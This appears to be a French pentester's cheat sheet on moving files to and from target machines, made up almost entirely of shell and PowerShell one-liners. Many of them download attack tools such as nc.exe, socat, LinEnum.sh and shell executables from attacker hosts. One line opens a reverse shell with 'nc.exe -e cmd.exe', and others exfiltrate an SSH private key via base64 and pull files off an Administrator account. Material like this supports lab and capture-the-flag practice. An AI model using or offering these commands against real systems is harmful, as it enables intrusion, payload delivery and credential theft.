Transfert de fichier

Serveur

Apache

sudo systemctl start apache2

Remarque :

• Copier les fichiers dans /var/www/html/

Python

sudo python -m http.server 8000
sudo python -m pyftpdlib -p 21

SMB

impacket-smbserver share . -smb2support -username user -password s3cureP@ssword

Télécharger

Bash

exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Certutil

certutil -f -urlcache http://192.168.1.200:6666/nc.exe nc.exe

cURL

curl ATTACKING_IP/socat -o /tmp/socat-USERNAME && chmod +x /tmp/socat-USERNAME

FTP

wget -r ftp://anonymous@192.168.237.127:30021

Netcat

nc <MACHINE_IP> <PORT> < fichier.txt
nc -lnvp <PORT> > fichier.txt

PHP

php -S 0.0.0.0:8000

PowerShell

iwr -uri http://192.168.119.2/nonstaged.exe -Outfile nonstaged.exe

powershell "(New-Object 
Net.WebClient).Downloadfile('http://192.168.1.5:8080/shell-name.exe', 'shell-name.exe')"

powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe

Invoke-WebRequest -Uri "http://www.coucou.com" -OutFile "C:\path\file"

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

SCP

scp cve-xxxx.c test@192.168.123.216:
scp Administrator@10.10.0.124:blood.zip /root/Downloads

SMB

net use \\ATTACKER_IP\share /USER:user s3cureP@ssword
copy \\ATTACKER_IP\share\Wrapper.exe %TEMP%\wrapper-USERNAME.exe

cmd.exe /c //192.168.45.175/share/nc.exe -e cmd.exe 192.168.45.175 1234

WGET

wget http://IP_ADDRESS:8000/filename -outfile "file"

Encodage

cat id_rsa |base64 -w 0;echo

PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ{...} qUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5